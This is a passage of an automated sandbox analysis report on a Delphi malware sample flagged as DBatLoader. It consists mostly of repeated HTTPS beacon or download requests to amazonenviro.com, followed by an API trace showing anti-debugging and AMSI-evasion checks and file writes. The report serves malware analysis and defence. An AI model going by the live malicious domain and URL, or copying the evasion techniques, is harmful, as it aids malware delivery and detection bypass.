2025-01-14 07:26:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.10	50061	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:13 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	50063	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:15 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:15 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:15 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.10	50065	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:16 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:17 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:17 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.10	50067	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:18 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.10	50069	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:19 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.10	50071	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:21 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:21 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.10	50073	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:23 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:23 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:23 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.10	50075	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:24 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:25 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:25 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.10	50077	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:26 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.10	50079	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:28 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:28 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.10	50081	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:29 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:30 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.10	50083	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:31 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:31 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.10	50085	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:32 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:33 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:33 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.10	50087	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:34 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:35 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.10	50089	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:36 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:36 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:36 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.10	50091	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:37 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:38 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.10	50093	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:39 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:39 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.10	50095	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:40 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:41 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:41 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.10	50097	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:42 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:42 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.10	50099	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:44 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:44 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.10	50101	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:45 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:46 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:46 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.10	50103	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:47 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.10	50105	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:48 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.10	50107	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:50 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:50 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.10	50109	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:52 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.10	50111	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:54 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.10	50113	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:55 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.10	50115	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:57 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:57 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:57 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.10	50117	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:58 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:26:59 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:26:59 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.10	50119	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:00 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:27:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:27:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.10	50121	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:02 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:27:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:27:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.10	50123	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:03 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:27:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:27:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.10	50125	166.62.27.188	443	7736	C:\Users\user\Desktop\UTstKgkJNY.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:27:05 UTC	165	OUT	GET /245_Tzzlqsjvkee HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:27:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:27:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	1
Start time:	02:24:58
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\UTstKgkJNY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UTstKgkJNY.exe"
Imagebase:	0x400000
File size:	1'161'216 bytes
MD5 hash:	7E6AF615A074F41EA63EF69A047E8F6D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000001.00000002.2528020795.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000001.00000002.2512810785.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.6%
Total number of Nodes:	268
Total number of Limit Nodes:	14

Executed Functions

Function 0287F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,0288B3D5,?,?,?,000002F7,00000000,00000000), ref: 0287F0E2

Part of subcall function 0287881C: LoadLibraryA.KERNEL32(00000000,00000000,02878903), ref: 02878850
Part of subcall function 0287881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02878903), ref: 02878860
Part of subcall function 0287881C: GetProcAddress.KERNEL32(743E0000,00000000), ref: 02878879
Part of subcall function 0287881C: FreeLibrary.KERNEL32(743E0000,00000000,028C2388,Function_000065D8,00000004,028C2398,028C2388,000186A3,00000040,028C239C,743E0000,00000000,00000000,00000000,00000000,02878903), ref: 028788E3

Part of subcall function 0287EFC8: GetModuleHandleW.KERNEL32(KernelBase,?,0287F3CC,UacInitialize,028C237C,0288B40C,UacScan,028C237C,0288B40C,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanString), ref: 0287EFCE
Part of subcall function 0287EFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0287EFE0

Part of subcall function 0287F024: GetModuleHandleW.KERNEL32(KernelBase), ref: 0287F034
Part of subcall function 0287F024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0287F046
Part of subcall function 0287F024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0287F05D

Part of subcall function 02867E10: GetFileAttributesA.KERNEL32(00000000,?,0287FD00,ScanString,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanString,028C237C,0288B40C,UacScan,028C237C,0288B40C,UacInitialize), ref: 02867E1B

Part of subcall function 0286C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029B68C8,?,02880032,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanBuffer,028C237C,0288B40C,OpenSession), ref: 0286C2FB

Part of subcall function 0287DFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287E0B4), ref: 0287E01F
Part of subcall function 0287DFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0287E0B4), ref: 0287E04F
Part of subcall function 0287DFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0287E064
Part of subcall function 0287DFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0287E090
Part of subcall function 0287DFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0287E099

Part of subcall function 02867E34: GetFileAttributesA.KERNEL32(00000000,?,02882E7D,ScanString,028C237C,0288B40C,OpenSession,028C237C,0288B40C,ScanBuffer,028C237C,0288B40C,OpenSession,028C237C,0288B40C,Initialize), ref: 02867E3F

Part of subcall function 02867FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,0288301B,OpenSession,028C237C,0288B40C,ScanString,028C237C,0288B40C,Initialize,028C237C,0288B40C,ScanString,028C237C,0288B40C), ref: 02867FD5

Part of subcall function 0287DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287DFD2), ref: 0287DF3F
Part of subcall function 0287DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0287DF79
Part of subcall function 0287DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0287DFA6
Part of subcall function 0287DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0287DFAF

